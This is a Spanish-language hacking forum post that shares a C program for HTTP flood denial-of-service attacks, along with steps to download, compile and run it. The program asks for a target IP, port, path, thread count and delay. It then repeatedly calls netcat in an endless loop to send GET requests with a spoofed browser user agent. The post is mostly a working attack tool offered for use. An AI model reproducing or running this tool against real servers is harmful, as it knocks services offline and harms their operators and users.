Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: v4char en Julio 28, 2015, 11:09:57 AM

Título: Script para hacer HTTP Flood
Publicado por: v4char en Julio 28, 2015, 11:09:57 AM
Como bien dice el título es un script para hacer ataques de flood por medio de peticiones http podeis encontrar el script en github https://github.com/v4char/HTTP-Flood (https://github.com/v4char/HTTP-Flood) tambien lo pegaré aquí pero por github lo ire actualizando.

Probadon en Kali y Freebsd

http-flood.c
Código (cpp) [Seleccionar]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    char host[21],archivo[201],comando[651];
    int puerto,n_con,i,esperar;

    printf("IP: ");
    fflush(stdout);
    scanf("%s", host);

    printf("Puerto: ");
    fflush(stdout);
    scanf("%i", &puerto);

    printf("Archivo(en/img/index.php): ");
    fflush(stdout);
    scanf("%s", archivo);

    printf("Threads: ");
    fflush(stdout);
    scanf("%i", &n_con);

    printf("Delay en segundos: ");
    fflush(stdout);
    scanf("%i", &esperar);

    sprintf(comando, "echo \"GET /%s\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\" | nc %s %i -r > NUL &", archivo, host, puerto);
    while (1)
    {
        i=0;
        for(i=0;i<n_con;i++)
        {
            fflush(stdout);
            system(comando);
            system("echo \"\" > NUL &");
            printf("=");
            system("rm -f NUL &");
        }
    printf("\n");
    sleep(esperar);
    }


    return 0;
}


Para descargalo
wget https://raw.githubusercontent.com/v4char/HTTP-Flood/master/http-flood.c

Lo primero es compilarlo
gcc http-flood.c -o http-flood

Ahora le damos permisos de ejecución (no suele ser necesario)
chmod +x http-flood

Y ejecutamos el programa
./http-flood

Ahora nos pedira una IP luego el puerto luego un archivo puede ser el index.html o index.php por ejemplo luego cuantos hilos y por ultimo el delay

En el delay se admiten numeros decimales como por ejemplo 0.5 ojo es un punto no una coma y si no quieres delay pon un 0

Si teneis alguna idea o problema decirmelo.

Fuente:https://foro.hackxcrack.net/hacking/script-para-hacer-http-flood/ (https://foro.hackxcrack.net/hacking/script-para-hacer-http-flood/)